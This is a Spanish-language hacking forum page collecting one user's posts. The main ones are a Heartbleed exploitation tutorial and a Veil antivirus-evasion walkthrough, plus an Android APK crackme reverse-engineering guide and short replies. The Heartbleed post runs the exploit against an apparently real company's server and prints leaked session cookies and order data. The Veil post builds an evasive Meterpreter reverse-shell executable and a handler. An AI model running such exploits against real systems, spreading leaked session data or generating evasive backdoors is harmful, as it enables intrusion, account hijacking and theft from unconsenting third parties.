Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Stuxnet

#121

Buenas underc0de, tanto tiempo de no publicar algo por aqui.

En este pequeño tutorial veremos como explotar la famosa vulverabilidad heartbleed.

"Es el bug mas grande en OpenSSL, capaz de capturar y desencriptar desde los nombres de usuario hasta las contraseñas, entre otra información sensible contenida en la memoria de los servidores."

Pueden saber mas en este You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login que ANTRAX publicó.

Formas de explotarlo.

1. Exploit:

Unas de las formas de explotarlo es con el exploit: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login e interpretarlo con python.

Uso del exploit:

Código: text
python openssl.py sales.bbuconnect.com --port 443 > output_ssl.txt
cat output_ssl.txt


Resultado:

Código: text
Connecting...
Sending Client Hello...
Waiting for Server Hello...
... received message: type = 22, ver = 0302, length = 86
... received message: type = 22, ver = 0302, length = 1394
... received message: type = 22, ver = 0302, length = 4
Sending heartbeat request...
... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:




Como podemos ver la página es vulnerable. Arrojandonos muchos datos sensibles.

2. Metasploit:

Como siempre metasploit facilitandonos la vida, para explotarlo usaremos el módulo: openssl_heartbleed.rb --> You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Uso:

Código: text
use auxiliary/scanner/ssl/openssl_heartbleed
set RHOSTS sales.bbuconnect.com
set RPORT 443
set VERBOSE true
run


Resultado:

Código: text
 ______________________________________________________________________________
|                                                                              |
|                          3Kom SuperHack II Logon                             |
|______________________________________________________________________________|
|                                                                              |
|                                                                              |
|                                                                              |
|                 User Name:          [   security    ]                        |
|                                                                              |
|                 Password:           [               ]                        |
|                                                                              |
|                                                                              |
|                                                                              |
|                                   [ OK ]                                     |
|______________________________________________________________________________|
|                                                                              |
|                                                        http://metasploit.pro |
|______________________________________________________________________________|


       =[ metasploit v4.8.0-dev [core:4.8 api:1.0]
+ -- --=[ 1154 exploits - 673 auxiliary - 182 post
+ -- --=[ 310 payloads - 30 encoders - 8 nops

msf auxiliary(openssl_heartbleed) > set RHOSTS sales.bbuconnect.com
RHOSTS => sales.bbuconnect.com
msf auxiliary(openssl_heartbleed) > set RPORT 443
RPORT => 443
msf auxiliary(openssl_heartbleed) > set VERBOSE true
VERBOSE => true
msf auxiliary(openssl_heartbleed) > run

[*] 4.31.139.165:443 - Sending Client Hello...
[*] 4.31.139.165:443 - Sending Heartbeat...
[*] 4.31.139.165:443 - Heartbeat response, checking if there is data leaked...
[+] 4.31.139.165:443 - Heartbeat response with leak
[*] 4.31.139.165:443 - Printable info leaked: @,ED!! ECECFFDCDADFDFDBDIDHEMFECACACAAA FFFDFEEMEEEHECECFHDADADDCACACAAASMB%V\MAILSLOT\BROWSEBBU2055187LTn_@@"|,!t-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: https://orders.bbuconnect.com/prompt/,DanaInfo=.abcwsvtsw1y1zpM-u-9sSw98,Port=10001+QtyModifierCookie: DSSignInURL=/; DSFirstAccess=1398132759; DSLastAccess=1398132936; DSLaunchURL=2F64616E612F686F6D652F73706163652E676966; DSID=b28e87546e98e6d08303408643f3f270Connection: keep-alivePfuMFau4A|9@6 ding: gzip, deflateHost: sales.bbuconnect.comDNT: 1Connection: Keep-AliveCookie: DSSignInURL=/; DSID=9e6dfea3018fb3ed2cddbe4fb6fcc008; DSFirstAccess=1398132571; DSLastAccess=1398132936h;+IM@M#$mRJH"p]N3uVht7e76fd5e3aa9dfebaca6107ed699f5; DSLastAccess=1398132936?>FA*ate_lvl=0&sticker_id=000&individual_pid=7203001339+000&pso_indicator=N&sun=-&mon=0&tue=0&wed=-&thu=0&fri=0&sat=0&row_total=0&prodId=7203001339+000&prodName=LTLEBTS+BLUEMUFF&grand_total=0&fore_cast=3&suggested_order=6&modified=-1&sun_pct=1&mon_pct=1&tue_pct=1&wed_pct=1&thu_pct=1&fri_pct=1&sat_pct=1&total_pct=1&sun_dif=0&mon_dif=0&tue_dif=0&wed_dif=0&thu_dif=0&fri_dif=0&sat_dif=0&change_total_from_zero=false&close_dt=NO&prom_id=null&prom_cat_id=0&wk_type_id=0&prom_id2=null&prom_cat_id2=0&wk_type_id2=0&has_prom_vol=0&update_dt=&depot_closed=0&update_lvl=0&sticker_id=000&individual_pid=7203001340+000&pso_indicator=N&sun=-&mon=0&tue=0&wed=-&thu=0&fri=0&sat=0&row_total=0&prodId=7203001340+000&prodName=LB+CRUMB+CAKE+5P&grand_total=0&fore_cast=1&suggested_order=0&modified=-1&sun_pct=1&mon_pct=1&tue_pct=1&wed_pct=1&thu_pct=1&fri_pct=1&sat_pct=1&total_pct=1&sun_dif=0&mon_dif=0&tue_dif=0&wed_dif=0&thu_dif=0&fri_dif=0&sat_dif=0&change_total_from_zero=false&close_dt=NO&prom_id=null&prom_cat_id=0&wk_type_id=0&prom_id2=null&prom_cat_id2=0&wk_type_id2=0&has_prom_vol=0&update_dt=&depot_closed=0&update_lvl=0&sticker_id=000&individual_pid=7203001342+000&pso_indicator=N&sun=-&mon=0&tue=18&wed=-&thu=0&fri=0&sat=0&row_total=18&prodId=7203001342+000&prodName=LTLEBTS+BROWNIES&grand_total=18&fore_cast=5&suggested_order=18&modified=-1&sun_pct=1&mon_pct=1&tue_pct=1&wed_pct=1&thu_pct=1&fri_pct=1&sat_pct=1&total_pct=1&sun_dif=0&mon_dif=0&tue_dif=0&wed_dif=0&thu_dif=0&fri_dif=0&sat_dif=0&change_total_from_zero=false&close_dt=NO&prom_id=null&prom_cat_id=0&wk_type_id=0&prom_id2=null&prom_cat_id2=0&wk_type_id2=0&has_prom_vol=0&update_dt=&depot_closed=0&update_lvl=0&sticker_id=000&individual_pid=7203001353+000&pso_indicator=N&sun=-&mon=0&tue=18&wed=-&thu=0&fri=0&sat=0&row_total=18&prodId=7203001353+000&prodName=LTLEBTS+CHOCCPMF&grand_total=18&fore_cast=3&suggested_order=18&modified=-1&sun_pct=1&mon_pct=1&tue_pct=1&wed_pct=1&thu_pct=1&fri_pct=1&sat_pct=1&total_pct=1&sun_dif=0&mon_dif=0&tue_dif=0&wed_dif=0&thu_dif=0&fri_dif=0&sat_dif=0&change_total_from_zero=false&close_dt=NO&prom_id=null&prom_cat_id=0&wk_type_id=0&prom_id2=null&prom_cat_id2=0&wk_type_id2=0&has_prom_vol=0&update_dt=&depot_closed=0&update_lvl=0&sticker_id=000&individual_pid=7203002058+052&pso_indicator=N&sun=-&mon=0&tue=0&wed=-&thu=12&fri=0&sat=0&row_total=12&prodId=7203002058+052&prodName=LB+SNDOODLE+MUFF&grand_total=12&fore_cast=4&suggested_order=12&modified=-1&sun_pct=1&mon_pct=1&tue_pct=1&wed_pct=1&thu_pct=1&fri_pct=1&sat_pct=1&total_pct=1&sun_dif=0&mon_dif=0&tue_dif=0&wed_dif=0&thu_dif=0&fri_dif=0&sat_dif=0&change_total_from_zero=false&close_dt=NO&prom_id=null&prom_cat_id=0&wk_type_id=0&prom_id2=null&prom_cat_id2=0&wk_type_id2=0&has_prom_vol=0&update_dt=&depot_closed=0&update_lvl=0&sticker_id=000&individual_pid=7203002200+052&pso_indicator=N&sun=-&mon=-&tue=0&wed=-&thu=0&fri=0&sat=0&row_total=0&prodId=7203002200+052&prodName=LB+STWBYOG+MFN5P&grand_total=0&fore_cast=1&suggested_order=0&modified=-1&sun_pct=1&mon_pct=1&tue_pct=1&wed_pct=1&thu_pct=1&fri_pct=1&sat_pct=1&total_pct=1&sun_dif=0&mon_dif=0&tue_dif=0&wed_dif=0&thu_dif=0&fri_dif=0&sat_dif=0&change_total_from_zero=false&close_dt=NO&prom_id=null&prom_cat_id=0&wk_type_id=0&prom_id2=null&prom_cat_id2=0&wk_type_id2=0&has_prom_vol=0&update_dt=04-21-2014&depot_closed=0&update_lvl=0&sticker_id=000&individual_pid=7087000908+
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(openssl_heartbleed) >


3: Nmap NSE script

Para detectar si es vulnerable: --> You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Uso:

Código: text
nmap -p 443 --script ssl-heartbleed <tarjet>


Resultado:

Código: text
stuxnet@stuxnet:/media/Stuxnet/Pentesting/$ nmap -p 443 --script ssl-heartbleed 4.31.139.165

Starting Nmap 6.46 ( http://nmap.org ) at 2014-04-21 21:19 CST
Nmap scan report for sales.bbuconnect.com (4.31.139.165)
Host is up (0.13s latency).
PORT    STATE SERVICE
443/tcp open  https
| ssl-heartbleed:
|   VULNERABLE:
|   The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
|     State: VULNERABLE
|     Risk factor: High
|     Description:
|       OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
|           
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
|       http://www.openssl.org/news/secadv_20140407.txt
|_      http://cvedetails.com/cve/2014-0160/
#122
linux rooteado  :o ???  ;D ;D ;D ;D ;D ;D ;D ;D ;D ;D ;D ;D ;D ;D ;D ;D ;D ;D ;D ;D ;D ;D ;D
#123
 :-X Excelente aporte

Esto me cae como anillo al dedo

saludos :-*
#124
Muy buen post.

O.o sthefano02 eres tú? :S
#125
El que importa es el conocimiento.

Chema hace ethical hacking desde Windows

xD
#126
Excelente herramienta.

Saludos.
#127
ANTRAX Eres tú? >.<
#128
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
targeta inalambrica ya tengo y intente con websploit pero el servidor dhcp3-server no me funca

Como tienes configurado tu servidor dhcp

Mira este You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#129
Off Topic / Re:Feliz navidad Underc0ders!
Diciembre 24, 2013, 06:19:35 PM
Feliz navidad.

Así que todos a esperar a santa

#130
Android / Sqlmapchik
Diciembre 17, 2013, 09:58:24 PM

Sqlmapchik es una herramienta multiplataforma que desliga de la herramienta conosida 'Sqlmap' aun esta en su version beta pero se espera una aplicacion multifuncional, estas son las caracteristicas hasta ahora:

    sqlmap API
    profiling
    log colorizing
    beeping :)
    user-defined function injection
    updating
    metasploit integration


You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#131
Hacking / Veil – Evasión de Antivirus
Diciembre 12, 2013, 09:43:23 AM

Veil es una herramienta escrita en Python por Christopher Truncer para crear payloads de Metasploit capaces de evadir la mayoría de los antivirus. Utiliza métodos distintos para generar payloads diferentes y permite al usuario usar Pyinstaller o Py2Exe para convertir los payloads de Python a ejecutables.

Descarga Veil:

Código: text
git clone https://github.com/ChrisTruncer/Veil
cd Veil
python Veil.py


Veil Modo de Uso

Código: text
root@stuxnet:/media/Stuxnet/Pentesting/veil# python Veil.py

=========================================================================
Veil First Run Detected... Initializing Script Setup...
=========================================================================

[*] Executing ./config/update.py...
[>] Please enter the path of your metasploit installation: /media/Stuxnet/Pentesting/msf
[*] OPERATING_SYSTEM = Linux
[*] TERMINAL_CLEAR = clear
[*] VEIL_PATH = /media/Stuxnet/Pentesting/veil/
[*] PAYLOAD_SOURCE_PATH = /root/veil-output/source/
[*] Path '/root/veil-output/source/' Created
[*] PAYLOAD_COMPILED_PATH = /root/veil-output/compiled/
[*] Path '/ro
ot/veil-output/compiled/' Created
[*] TEMP_DIR = /tmp/
[*] METASPLOIT_PATH = /media/Stuxnet/Pentesting/msf
[*] PYINSTALLER_PATH = /opt/pyinstaller-2.0/
[*] MSFVENOM_OPTIONS =
[*] Configuration File Written To /media/Stuxnet/Pentesting/veil/config/settings.py

=========================================================================
Veil | [Version]: 2.1.0
=========================================================================
[Web]: https://www.veil-evasion.com/ | [Twitter]: @veilevasion
=========================================================================

[!] WARNING: Official support for Kali Linux (x86) only at this time!
[!] WARNING: Continue at your own risk!

Main Menu

    18 payloads loaded

Available commands:

    use             use a specific payload
    update          update Veil to the latest version
    list            list available languages/payloads
    info            information on a specific payload
    exit            exit Veil

[>] Please enter a command: list


=========================================================================
Veil | [Version]: 2.1.0
=========================================================================
[Web]: https://www.veil-evasion.com/ | [Twitter]: @veilevasion
=========================================================================

[!] WARNING: Official support for Kali Linux (x86) only at this time!
[!] WARNING: Continue at your own risk!

Available payloads:

    1)  c/VirtualAlloc                  Poor
    2)  c/VoidPointer                   Poor

    3)  c#/VirtualAlloc                 Poor
    4)  c#/b64SubVirtualAlloc           Normal

    5)  native/BackdoorFactory          Normal
    6)  native/hyperion                 Normal
    7)  native/pescrambler              Normal

    8)  powershell/DownloadVirtualAlloc     Excellent
    9)  powershell/PsexecVirtualAlloc       Excellent
    10) powershell/VirtualAlloc         Excellent

    11) python/AESEncrypted             Excellent
    12) python/ARCEncrypted             Excellent
    13) python/Base64Encode             Excellent
    14) python/DESEncrypted             Excellent
    15) python/FlatInjection            Normal
    16) python/LetterSubstitution       Excellent
    17) python/MeterHTTPContained       Excellent
    18) python/MeterHTTPSContained      Excellent

[>] Please enter a command: 11

=========================================================================
Veil | [Version]: 2.1.0
=========================================================================
[Web]: https://www.veil-evasion.com/ | [Twitter]: @veilevasion
=========================================================================

Payload: python/AESEncrypted loaded

Required Options:

Name           Current Value   Description
----           -------------   -----------
compile_to_exe     Y           Compile to an executable
inject_method      virtual     [virtual]alloc or [void]pointer
use_pyherion       N           Use the pyherion encrypter

Available commands:

    set             set a specific option value
    info            show information about the payload
    help [crypters] show help menu for payload or crypters
    generate        generate payload
    exit            exit Veil
    back            go to the main menu

[>] Please enter a command: generate

=========================================================================
Veil | [Version]: 2.1.0
=========================================================================
[Web]: https://www.veil-evasion.com/ | [Twitter]: @veilevasion
=========================================================================

[?] Use msfvenom or supply custom shellcode?

        1 - msfvenom (default)
        2 - Custom

[>] Please enter the number of your choice: 1

[*] Press [enter] for windows/meterpreter/reverse_tcp
[*] Press [tab] to list available payloads
[>] Please enter metasploit payload:
[>] Enter value for 'LHOST', [tab] for local IP: xxx.xxx.xxx.xxx
[>] Enter value for 'LPORT': 4444
[>] Enter extra msfvenom options in OPTION=value syntax:

[*] Generating shellcode...

=========================================================================
Veil | [Version]: 2.1.0
=========================================================================
[Web]: https://www.veil-evasion.com/ | [Twitter]: @veilevasion
=========================================================================

[*] Press [enter] for 'payload'
[>] Please enter the base name for output files:

[?] How would you like to create your payload executable?

        1 - Pyinstaller (default)
        2 - Py2Exe

[>] Please enter the number of your choice: 1


Seleccionamos la opción 1 y finalizamos. En este momento empieza a salir varios mensajes por consola mientras genera el ejecutable y finalmente, muestra un resumen de todo. En este se puede ver la ruta en la que ha dejado el resultado.

Ahora abrimos Metasploit:
   
Código: text
msf> use exploit/multi/handler
msf exploit(handler) > exploit
#132
Off Topic / Re:WTF épico... Youtube
Noviembre 19, 2013, 12:38:03 AM
>.<

1337 se acredita el ataque
#133
Presentaciones y cumpleaños / Re:[PRESENTACION] OnTheCore
Noviembre 07, 2013, 09:57:16 PM
Bienvenido OnTheCore CPH nos invade ... Saquen las cervezas y nos vamos con las putas >.<

Saludos, es bueno ternerte en Underc0de
#134
Off Topic / Re:Trolleando a la gente de cph con mi bot :P
Noviembre 07, 2013, 02:11:41 AM
jajajajajajaajajajaja eres todo un loquillo
#135
Hacking / Curso de Ethical Hackers
Noviembre 07, 2013, 01:17:29 AM

Otro excelente curso de incube2

Módulos:

Este adiestramiento cuenta con 20 módulos de sobre Ethical Hacking.


Módulo 1: Bienvenida al Curso de Ethical Hackers
Módulo 2: Cómo crear un laboratorio de seguridad
Módulo 3: Cómo crear una máquina virtual
Módulo 4: Ciclo del Hacking 1 – Reconocimiento
Módulo 5: Ciclo del Hacking 2 – Escaneo
Módulo 6: Ejercicio de Escaneo
Módulo 7: Escaneo SNMP
Módulo 8: Introducción al Wireless Hacking
Módulo 9: El mundo del Ingeniería Social
Módulo 10: Email Falso – Phishing
Módulo 11: Seguridad en los Passwords
Módulo 12: Troyanos y Backdoors
Módulo 13: Herramientas para su laboratorio de seguridad
Módulo 14: Leyes Federales
Módulo 15: Vulnerabilidades
Módulo 16: Principios de un Botnet
Módulo 17: Google Hacking Database
Módulo 18: Background Check
Módulo 19: Certificaciones
Módulo 20: Despedida

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#136
Off Topic / Re:Feliz Halloween para todos!!!!
Octubre 31, 2013, 10:53:32 AM



Feliz halloween para todos!!!  8) >.<
#137
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Gracias Stuxnet, pero varios enlaces estan caidos y los que si funcionan tienen el QR qe te lleva para descargarlo desde el movil.. No nos servira. Solo necesitamos las APK

Ya actualize en link >.<
#138
Hacking / Re:[cge] cisco global exploiter
Septiembre 09, 2013, 12:27:11 AM
Muy interesante Aika, Saludos :p
#139

se puede definir que el código generado para las aplicaciones Android no es exactamente "Java Bytecode", por eso los ejecutables para Android no contienen ficheros .class si no .dex que significa Dalvik Executable. De igual forma estos ficheros .dex se pueden "decompilar" y lo que veremos posteriormente será un lenguaje de bajo nivel (Dalvik Bytecode).

Aunque como tal con algunas aplicaciones específicas podemos ver en un lenguaje de alto nivel estos códigos (aplicaciones como Dex2Jar posteriormente decompilando con JD-GUI). Algunos enlaces interesantes sobre Dalvik y los OPCodes:

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Herramientas a utilizar y preparación del entorno

Para la preparación del entorno tendremos en cuenta todo lo necesario para empezar casi "desde cero", los requisitos como siempre son saber la lógica de un lenguaje de programación (mejor si es Java) y bueno, lo demás se explicará poco a poco.

Como trabajaremos con Android necesitaremos usar la plataforma Java, ojo, no basta con el entorno de ejecución (JRE) necesitaremos todas las herramientas para desarrolladores (JDK – Java Development Kit) y un IDE cualquiera, puede ser Eclipse. You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
   
También necesitaremos las herramientas de desarrollo de Android o SDK, en el portal oficial hay una guía de instalación You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login también debemos configurar un emulador o el AVD, que nos permitirá ejecutar una "máquina virtual" de Android en nuestros ordenadores (ver aquí You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Smali/Baksmali: se trata de un ensamblador/desemsamblador de ficheros apk que nos servirá para generar los fuentes en lenguaje de bajo nivel (aunque como tal no lo usaremos en esta guía). Se puede descargar de aquí: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

APKTool: Esta herramienta sustituirá el Smali/Baksmali ya que los integra dentro de su paquete. Como su nombre lo indica es un kit de herramientas para trabajar con ficheros APK. You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login con el generaremos el código de bajo nivel y luego recompilaremos.

Testsign.jar: Es una herramienta de terceros desarrollada para "firmar" o generar certificados aleatorios para indicarle al sistema que el fichero que hemos modificado se trata de una aplicación Android. Se descarga de aquí You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login (buscar el fichero testsign.jar).

zipalign: se trata de una herramienta que viene incluida en el SDK (PATH\android-sdk-windows\tools\zipalign.exe), que está hecha para preparar nuestro apk para el sistema Android, es decir, para que su rendimiento sea tal cual para dicho sistema ya que si no está "comprimida" con esta herramienta podría afectar el rendimiento de la misma en el dispositivo.

Instalar aplicaciones APK en el emulador de Android

El AVD Manager Tool es la herramienta que nos permite gestionar distintas "máquinas virtuales" de un sistema Android configuradas para un api específica (es decir, para distintas versiones del sistema operativo Android). Supondré que ya tienen instalado el Android SDK que viene con el SDK Manager pero aún falta configurar dicho "emulador" o máquina virtual. Por lo que aquí explicaré como crear una. Lo que necesitaremos es ir al directorio en donde hemos instalado el Android SDK, allí veremos el ícono del logo o mascota de Android llamado SDK Manager, desde allí podremos instalar diversas apis y claro, configurar nuestra nueva máquina virtual.

Allí hacemos clic en la opción "Virtual Devices" y si es la primera vez que lo usamos de seguro no habrá ninguna máquina virtual configurada, por lo que hacemos clic en el botón de la derecha que dice "New...".


Luego tendremos que configurarla. Los parámetros son:

Name: El nombre de la máquina virtual. Esta no puede contener espacios.

Target: Es el api que utilizaremos para ejecutar la máquina virtual es decir, como si fuera la versión de Android. Recomiendo de momento la "API Level 8″ o Android 2.2 que es lo mismo

Lo demás ya se configura una vez hemos seleccionado el api, pero si queremos parámetros adicionales podemos explorar la herramienta. Por último le damos a Create AVD.


Listo ahora la seccionamos en el listado y en la parte derecha le damos "Start" y "Launch". Se empezará a cargar la nueva unidad virtual lo que puede tardar varios minutos así que debemos ser pacientes en este paso. Cuando arranque veremos una pantalla como si fuese un móvil Android, con el sistema operativo completamente funcional. Pero como lo que vamos a hacer es un proceso de ingeniería inversa necesitaremos probar la aplicación, por lo que surge la necesidad de instalar aplicaciones APK en esta nueva unidad virtual.

Lo base para esto será saber que las aplicaciones Android se deben copiar a la carpeta "platform-tools" por ejemplo, la mía está en C:\Android SDK\android-sdk-windows\platform-tools, esto porque allí hay una herramienta llamada ADB (Android Debug Bridge) la cual es una herramienta que funciona por línea de comandos y que también sirve de conexión de nuestro móvil al ordenador y realizar tareas desde allí

En esta ocasión la utilizaremos para instalar APKs, por lo que una vez copiado el APK al directorio "Platform-tools" debemos ejecutar (con el emulador abierto):

adb install fichero.apk o para desinstalar adb uninstall fichero


Ahora si todo ha salido bien veremos la aplicación instalada en el emulador. Por cierto, algo importante a tener en cuenta es que el emulador o unidad virtual debe estar ejecutándose al momento de realizar este proceso de instalación del APK.

Instalar y usar ApkTool

Con el proceso anterior aprendimos a probar los APK. Bien, olvidemos por un rato eso y ahora iniciemos con el proceso de "ingeniería inversa" como tal. En esta ocasión usaremos APKTool, que básicamente sirve para cambiar algunas cosas de las aplicaciones Android pero además de ensamblar y desensamblarlas, que es nuestro uso principal en esta ocasión.

Para instalar APKTool deberemos bajar tanto el fichero apktool.jar (el principal) y si estamos en Windows debemos bajar las dependencias, veamos el proceso paso a paso mejor:

    Descargar APKTool y dependencias (apktool1.4.1.tar.bz2 y apktool-install-windows-r04-brut1.tar.bz2).
    Descomprimir todo en una sola carpeta.
    Copiar estos ficheros al directorio principal de Windows, es decir, C:\Windows.

Listo ahora podemos ejecutar desde la consola de Windows el APKTool (Tecla Windows + R > cmd > Tecleamos apktool para ver todos sus parámetros). Para continuar con dicho proceso deberemos generar nuestro bytecode o fuentes en código de bajo nivel. Para "decompilar" nos ubicamos en la carpeta del APK y tecleamos en la consola:

apktool d fichero.apk nombre_nuevo_sin_extension

En la consola sería algo como esto:


Ya "desensamblamos" todo por lo que si revisamos la carpeta de nuestro APK hay un nuevo directorio el cual tiene el mismo nombre que le especificamos en la línea de comandos hace un momento. Lo que contiene son los ficheros fuente, el AndroidManifest.xml, entre otros recursos Lo que nos interesa es la carpeta smali, donde están los fuentes.

Si revisamos dicha carpeta y los ficheros generados, veremos unos archivos con extensión .smali, y lo primero que noto es un archivo llamado "main.smali", pues sí, el código en lenguaje de bajo nivel.

En el tomo nº 1 de esta guía básica compartí un "crackme" o una aplicación Android que pedia un usuario y contraseña, no era más que una comparación de strings. Supongamos ahora que estamos revisando dicha aplicación y nos ponemos a buscar el mensaje de error que muestra cuando el usuario y contraseña son incorrectos.


Usaré ahora un editor de textos, de forma intuitiva uso el buscador para encontrar este mensaje y revisando un poco el código encuentro una comparación de strings, que no representan más que dicha comparación de usuario y contraseña. Pero estos string están declarados en un OPCode llamado const-string, por lo que ya sabemos la importancia de reconocerlos y que para buscar cadenas está el OPCode const-string.

Ahora, esto quiere decir que si cambio el const-string y la cadena encontrada en la comparación podré modificar los datos de acceso a la aplicación, si pongo por ejemplo "123" como contraseña podremos ver que pasa (sabiendo que la contraseña actual es "2014″ y el nombre de usuario como se puede ver es "ricadmin"):


Una vez modificado el siguiente paso será empaquetar nuevamente nuestro fichero APK, por lo que abrimos una consola de comandos, nos ubicamos en la carpeta donde estábamos trabajando y tecleamos:

apktool b carpeta_de_trabajo ficherocompilado.apk

Nótese que anteriormente yo había "desensamblado" y le llamé a mi carpeta "debug-crackmetest". Tengan muy en cuenta los espacios que hay entre colocar el nombre de la carpeta y el del nuevo fichero compilado.

Y listo, con eso habremos generado un nuevo fichero APK con el nombre que le hemos acabado de poner (aparece en la misma carpeta de trabajo).


Firmando la aplicación o "generando certificados"

Es importante decirle a Android que nuestro APK en realidad si se trata de una aplicación para Android, pues estos tienen ciertas características que el sistema lee antes de su ejecución como tal.

Para esta tarea usaremos el "testsign.jar" una utilidad escrita para dicha finalidad y que podemos bajar en para empezar a usarla debemos colocarla en la misma carpeta de nuestro APK recién compilado y en la consola escribimos:

java -classpath testsign.jar testsign compilado-firmado.apk

Tener en cuenta que esto se le aplica a nuestro APK recién compilado. Si todo sale bien no saldrá nada por pantalla:


Generar un APK apto para Android

Listo, con el paso anterior "firmamos" la aplicación, ahora debemos optimizar el nuevo APK con una herramienta llamada "zipalign" que se encuentra en la carpeta "tools" de donde tenemos instalado el Android SDK.

El siguiente paso será copiar nuestro APK recién firmado a la carpeta "tools" que es donde se encuentra la aplicación "zipalign", abrimos una consola, nos ubicamos en el directorio donde está la aplicación y nuestro fichero recién copiado y tecleamos:

zipalign -f 4 fichero-compilado.apk fichero-final.pak


Si todo sale bien tampoco saldrá nada. Ahora solo nos queda probar la aplicación y que los cambios se hayan realizado funcionen. Por lo que nuestro "fichero-final.apk" lo copiamos a "platform-tools" para instalarlo en nuestra unidad virtual que debe estar ejecutándose (por lo que en la consola escribimos "adb install fichero-final.apk"). Y el resultado es:


You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#140
Genial aporte  hdbreaker te pasaste.

Saludos.